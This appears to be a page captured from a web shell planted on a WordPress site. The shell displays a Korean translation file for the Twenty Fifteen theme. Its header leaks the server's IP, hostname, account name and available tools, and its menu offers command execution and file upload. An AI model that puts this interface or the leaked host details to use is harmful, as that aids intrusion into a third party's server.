|
Server IP : 10.131.40.8 / Your IP : 216.73.216.15 Web Server : Apache System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : ludmqhh ( 137773) PHP Version : 8.4.10 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ludmqhh/www/guillaume/wp-content/languages/themes/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
# Translation of Themes - Twenty Fifteen in Korean # This file is distributed under the same license as the Themes - Twenty Fifteen package. msgid "" msgstr "" "PO-Revision-Date: 2020-07-30 11:55:26+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: GlotPress/4.0.0-alpha.3\n" "Language: ko_KR\n" "Project-Id-Version: Themes - Twenty Fifteen\n" #. Description of the theme #, gp-priority: high msgid "Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, straightforward typography is readable on a wide variety of screen sizes, and suitable for multiple languages. We designed it using a mobile-first approach, meaning your content takes center-stage, regardless of whether your visitors arrive by smartphone, tablet, laptop, or desktop computer." msgstr "우리의 2015 기본 테마는 깨끗하고 블로그 중심이며 선명함을 목표로 디자인 됐습니다. Twenty Fifteen의 단순하고 직관적인 타이포그래피는 다양한 화면 크기에서 가독성이 높으며 다중 언어에 적합합니다. 모바일 우선 접근 방식을 사용해 디자인했으며 이것은 방문자가 스마트폰, 태블릿, 노트북, 또는 데스크탑 컴퓨터와 같은 다양한 기기로 접속해도 콘텐츠가 중앙에 위치한다는 것을 의미합니다." #. Theme Name of the theme #: inc/block-patterns.php:20 #, gp-priority: high msgid "Twenty Fifteen" msgstr "Twenty Fifteen" #. translators: %s: Post title. #: comments.php:31 msgctxt "comments title" msgid "One thought on “%s”" msgstr "“%s”에 한개의 의견" #. translators: %s: Post title. Only visible to screen readers. #: inc/template-tags.php:132 msgid "Leave a comment<span class=\"screen-reader-text\"> on %s</span>" msgstr "<span class=\"screen-reader-text\">%s</span>에 댓글 남기기" #: single.php:39 msgid "Previous post:" msgstr "이전 글:" #: single.php:38 msgid "Previous" msgstr "이전" #: single.php:36 msgid "Next post:" msgstr "다음 글:" #: single.php:35 msgid "Next" msgstr "다음" #. translators: %s: Search query. #: search.php:21 msgid "Search Results for: %s" msgstr "검색 결과 : %s" #: inc/template-tags.php:122 msgctxt "Used before full size attachment link." msgid "Full size" msgstr "전체 크기" #: inc/template-tags.php:110 msgctxt "Used before tag names." msgid "Tags" msgstr "태그" #: inc/template-tags.php:101 msgctxt "Used before category names." msgid "Categories" msgstr "카테고리" #: inc/template-tags.php:97 inc/template-tags.php:106 msgctxt "Used between list items, there is a space after the comma." msgid ", " msgstr ", " #: inc/template-tags.php:91 msgctxt "Used before post author name." msgid "Author" msgstr "글쓴이" #: inc/template-tags.php:58 msgctxt "Used before post format." msgid "Format" msgstr "글 형식" #: inc/template-tags.php:81 msgctxt "Used before publish date." msgid "Posted on" msgstr "작성일자" #: inc/template-tags.php:51 msgid "Featured" msgstr "추천" #: inc/template-tags.php:31 msgid "Newer Comments" msgstr "다음 댓글" #: inc/template-tags.php:26 msgid "Older Comments" msgstr "이전 댓글" #: inc/template-tags.php:23 msgid "Comment navigation" msgstr "댓글 네비게이션" #: inc/customizer.php:239 msgid "Blue" msgstr "파랑" #: functions.php:231 inc/customizer.php:228 msgid "Purple" msgstr "보라색" #: inc/customizer.php:217 msgid "Pink" msgstr "분홍색" #: functions.php:206 inc/customizer.php:206 msgid "Yellow" msgstr "노란색" #: inc/customizer.php:195 msgid "Dark" msgstr "검정" #: inc/customizer.php:184 msgid "Default" msgstr "기본" #: inc/customizer.php:103 msgid "Header and Sidebar Background Color" msgstr "헤더 및 사이드바 배경 색상" #: inc/customizer.php:78 msgid "Header and Sidebar Text Color" msgstr "헤더 및 사이드바 텍스트 색상" #: inc/customizer.php:79 inc/customizer.php:104 inc/customizer.php:111 msgid "Applied to the header on small screens and the sidebar on wide screens." msgstr "작은 화면에서는 헤더에, 큰 화면에서는 사이드바에 적용됩니다." #: inc/customizer.php:55 msgid "Base Color Scheme" msgstr "기본 색상 구조" #: image.php:88 msgctxt "Parent post link" msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%title</span>" msgstr "<span class=\"meta-nav\">발행됨</span><span class=\"post-title\">%title</span>" #. translators: %s: WordPress version. #: inc/back-compat.php:41 inc/back-compat.php:56 inc/back-compat.php:77 msgid "Twenty Fifteen requires at least WordPress version 4.1. You are running version %s. Please upgrade and try again." msgstr "Twenty Fifteen은 최소한 워드프레스 4.1 버전이 필수입니다. 현재 %s 버전을 사용 중입니다. 업그레이드 하고 다시 해주세요." #: image.php:25 msgid "Next Image" msgstr "다음 이미지" #: image.php:25 msgid "Previous Image" msgstr "이전 이미지" #: header.php:50 msgid "Menu and widgets" msgstr "메뉴와 위젯" #: header.php:27 msgid "Skip to content" msgstr "컨텐츠로 건너뛰기" #: functions.php:469 msgid "expand child menu" msgstr "하위 메뉴 확장" #: functions.php:470 msgid "collapse child menu" msgstr "하위 메뉴 축소" #. translators: If there are characters in your language that are not supported #. by Inconsolata, translate this to 'off'. Do not translate into your own #. language. #: functions.php:381 msgctxt "Inconsolata font: on or off" msgid "on" msgstr "켜기" #. translators: To add an additional character subset specific to your #. language, translate this to 'greek', 'cyrillic', 'devanagari' or #. 'vietnamese'. Do not translate into your own language. #: functions.php:389 msgctxt "Add new subset (greek, cyrillic, devanagari, vietnamese)" msgid "no-subset" msgstr "서브셋 없음" #. translators: If there are characters in your language that are not supported #. by Noto Serif, translate this to 'off'. Do not translate into your own #. language. #: functions.php:373 msgctxt "Noto Serif font: on or off" msgid "on" msgstr "켜기" #. translators: If there are characters in your language that are not supported #. by Noto Sans, translate this to 'off'. Do not translate into your own #. language. #: functions.php:365 msgctxt "Noto Sans font: on or off" msgid "on" msgstr "켜기" #: functions.php:338 msgid "Add widgets here to appear in your sidebar." msgstr "위젯을 사이드바에 나타나도록 하려면 여기서 추가하세요." #: functions.php:336 msgid "Widget Area" msgstr "위젯 영역" #: functions.php:87 msgid "Social Links Menu" msgstr "소셜 링크 메뉴" #: functions.php:86 msgid "Primary Menu" msgstr "주 메뉴" #. translators: %s: WordPress #: footer.php:33 msgid "Proudly powered by %s" msgstr "Proudly powered by %s" #: content-none.php:36 msgid "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "찾고 있는 것을 찾을 수 없는 것 같습니다. 검색이 도움될 수도 있습니다." #: content-none.php:31 msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords." msgstr "죄송하지만 검색어와 일치하는 것이 없습니다. 다른 검색어로 다시 시도해보세요." #. translators: %s: Post editor URL. #: content-none.php:25 msgid "Ready to publish your first post? <a href=\"%s\">Get started here</a>." msgstr "첫번째 글을 발행할 준비가 되었나요? <a href=\"%s\">이곳에서 시작하세요.</a>" #: content-none.php:15 msgid "Nothing Found" msgstr "찾지 못함" #: content-link.php:60 content-page.php:37 content-search.php:28 #: content-search.php:33 content.php:61 image.php:74 msgid "Edit" msgstr "편집" #: content-link.php:39 content-page.php:26 content.php:41 image.php:61 msgid "Pages:" msgstr "페이지:" #. translators: %s: Post title. Only visible to screen readers. #: content-link.php:32 content.php:34 inc/template-tags.php:252 msgid "Continue reading %s" msgstr "%s 더보기" #: comments.php:71 msgid "Comments are closed." msgstr "댓글은 닫혔습니다." #. translators: 1: Number of comments, 2: Post title. #: comments.php:35 msgctxt "comments title" msgid "%1$s thought on “%2$s”" msgid_plural "%1$s thoughts on “%2$s”" msgstr[0] "“%2$s”에 대한 %1$s개의 생각" #. translators: %s: Author display name. #: author-bio.php:36 msgid "View all posts by %s" msgstr "%s 의 모든 글 보기" #: author-bio.php:12 msgid "Published by" msgstr "글쓴이" #: archive.php:53 content-link.php:43 content-page.php:30 content.php:45 #: image.php:65 index.php:50 search.php:48 msgid "Page" msgstr "페이지" #: archive.php:52 index.php:49 search.php:47 msgid "Next page" msgstr "다음 쪽" #: archive.php:51 index.php:48 search.php:46 msgid "Previous page" msgstr "이전 쪽" #: 404.php:21 msgid "It looks like nothing was found at this location. Maybe try a search?" msgstr "위 위치에서 찾을 수 있는 것이 없는 것 같습니다. 검색을 활용해보세요." #: 404.php:17 msgid "Oops! That page can’t be found." msgstr "아차! 해당 페이지를 찾을 수 없습니다." #. Author of the theme #, gp-priority: low msgid "the WordPress team" msgstr "워드프레스 팀" #. Theme URI of the theme #, gp-priority: low msgid "https://wordpress.org/themes/twentyfifteen/" msgstr "https://wordpress.org/themes/twentyfifteen/" #. Author URI of the theme #: footer.php:30 #, gp-priority: low msgid "https://wordpress.org/" msgstr "https://wordpress.org/"
